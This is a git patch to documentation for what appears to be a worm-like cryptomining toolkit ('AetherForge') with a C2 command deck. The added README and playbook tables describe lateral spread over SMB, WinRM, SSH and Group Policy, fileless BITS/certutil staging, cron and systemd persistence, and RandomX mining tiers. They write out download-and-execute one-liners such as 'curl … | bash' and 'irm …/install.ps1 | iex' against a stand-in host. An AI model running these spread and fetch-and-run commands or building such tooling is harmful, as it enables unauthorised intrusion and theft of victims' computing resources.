From e8562e11cf66abb177f1221a5d50aa78e73d10a1 Mon Sep 17 00:00:00 2001
From: AetherForge
vuln_recon · service_probe] --> G{patch_first / risk gates}
+ G -->|defer| X[Skip deploy or mining]
+ G -->|proceed| D[Deploy lanes
discover_and_join → bits_curl → smb → winrm]
+ D --> M[Mining tiers
container → inprocess → gpu → stratum_direct]
+ M --> T[Telemetry
lotl_tier · lotl_attempts · mining_hashrate]
+```
+
+Sequential tier attempts: try tier → on fail/skip → next tier until success or exhaustion (`lotl_attempts` audit trail).
+
+**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly`
+
+---
+
## Project Layout
```
diff --git a/docs/SPREAD_TECHNIQUES.md b/docs/SPREAD_TECHNIQUES.md
index 73b3693..460cbe3 100644
--- a/docs/SPREAD_TECHNIQUES.md
+++ b/docs/SPREAD_TECHNIQUES.md
@@ -1,9 +1,34 @@
# Web-Mediated Spread Techniques
-Canonical copy (served at `/docs/SPREAD_TECHNIQUES.md` on a running command deck):
+Canonical operator playbook (served at `/docs/SPREAD_TECHNIQUES.html` on a running command deck):
-**[`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)**
+**[`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)**
-Tabbed operator playbook (HTML): [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)
+Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)
-Edit the public docs files above — this stub avoids drifting duplicates in `docs/`.
+Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.
+
+## Master test doc + full glossary
+
+Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:
+
+**[`tests/README.md`](../tests/README.md)** — sections [LOTL architecture (triple onion)](../tests/README.md#lotl-architecture-triple-onion) and [LOTL vector glossary](../tests/README.md#lotl-vector-glossary).
+
+Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).
+
+## Mini glossary (spread tiers)
+
+| Tier | One-line | Example |
+|------|----------|---------|
+| `vuln_recon` | Read-only KEV/CVE probe before spread | Triple-onion recon or `full_sys_check` |
+| `docker` | Container-isolated RandomX | `com.docker.service` → `docker_load` join lane |
+| `wsl` | WSL curl\|bash when Windows blocked | `wsl -e bash -c "curl … \| bash"` |
+| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
+| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
+| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
+| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` |
+| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
+| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
+| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |
+
+TypeScript source of truth for tier docs: [`server/web/src/help/lotlOnionTiers.ts`](../server/web/src/help/lotlOnionTiers.ts).
diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html
index fbf1e3c..d63a851 100644
--- a/server/web/public/docs/SPREAD_TECHNIQUES.html
+++ b/server/web/public/docs/SPREAD_TECHNIQUES.html
@@ -386,18 +386,58 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex
server.lotl_onion_tiers in Calibrate on WebSocket auth — no re-forge to reorder.
| Tier | One-line | |
|---|---|---|
| Tier | Definition | Example |
| vuln recon | Read-only KEV/CVE/service probe — report-only, no exploit | |
| docker | Container worker image — isolated RandomX, no host miner exe drop | |
| wsl | WSL curl|bash one-liner when native Windows path is blocked | |
| powershell | PS remoting / hidden install.ps1 from your C2 origin | |
| dotnet | dotnet tool-run bootstrap — no standalone payload exe | |
| bits/curl | BITS transfer or curl|bash to /install.ps1 — fileless fetch | |
| smb | admin$ / C$ copy + SCM — classic lateral on open 445 | |
| winrm | Opportunistic PS remoting when 5985/5986 responds | |
| linux | SSH lateral on Unix agents — same wallet, no extra drop | |
| gpo | Domain startup/logon script push — operator-owned AD only | |
| vuln_recon | +Read-only KEV/CVE/service probe before spread — report-only, no exploit. Feeds vuln_findings and patch_first gates. |
+ Automatic triple-onion recon tier, or Crucible full_sys_check → risk badge on next stats_batch. |
+
| docker | +Deploy or mine inside Docker/Podman — isolated RandomX, no host miner exe drop. | +Service allowlist maps com.docker.service → docker_load; Probe & Join when Docker is running. |
+
| wsl | +WSL curl|bash one-liner when native Windows execution is blocked. | +wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash" |
+
| powershell | +Hidden PS bootstrap or remoting from your C2 origin — no standalone payload exe. | +irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex — WinRM template export. |
+
| dotnet | +dotnet tool run bootstrap — avoids a lone unsigned miner exe on disk. |
+ Forge miner_execution=dotnet; spread lane runs dotnet bootstrap from install manifest. |
+
| bits_curl | +BITS (bitsadmin) or curl.exe staging — optional certutil -decode, SHA256 verify, launch. |
+ Crucible stage_fetch: {"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"} |
+
smb (spread_smb_unc) |
+ admin$ / C$ lateral via sc.exe + net.exe on open port 445 — no PsExec. |
+ {"action":"spread_smb_unc","path":"\\\\forge-host\\pathforge$\\worker.exe"} |
+
| winrm | +Opportunistic PS remoting when 5985/5986 responds on subnet peers. | +POST /api/v1/builder/spread-template-export {"template":"winrm","com_hijack":false} |
+
linux (linux_lotl) |
+ SSH/SCP lateral on Unix agents — same wallet; optional systemd-run or crontab persistence. | +{"template":"linux-lotl","lotl_mode":"both"} — lotl-bootstrap.sh + autospread_unix.go. |
+
| gpo | +AD Group Policy startup script pulls worker on boot — mining policy stays on command deck. | +Export {"template":"gpo"} → Computer Configuration → Scripts → Startup → gpo-startup.ps1. Intune: {"template":"intune"}. |
+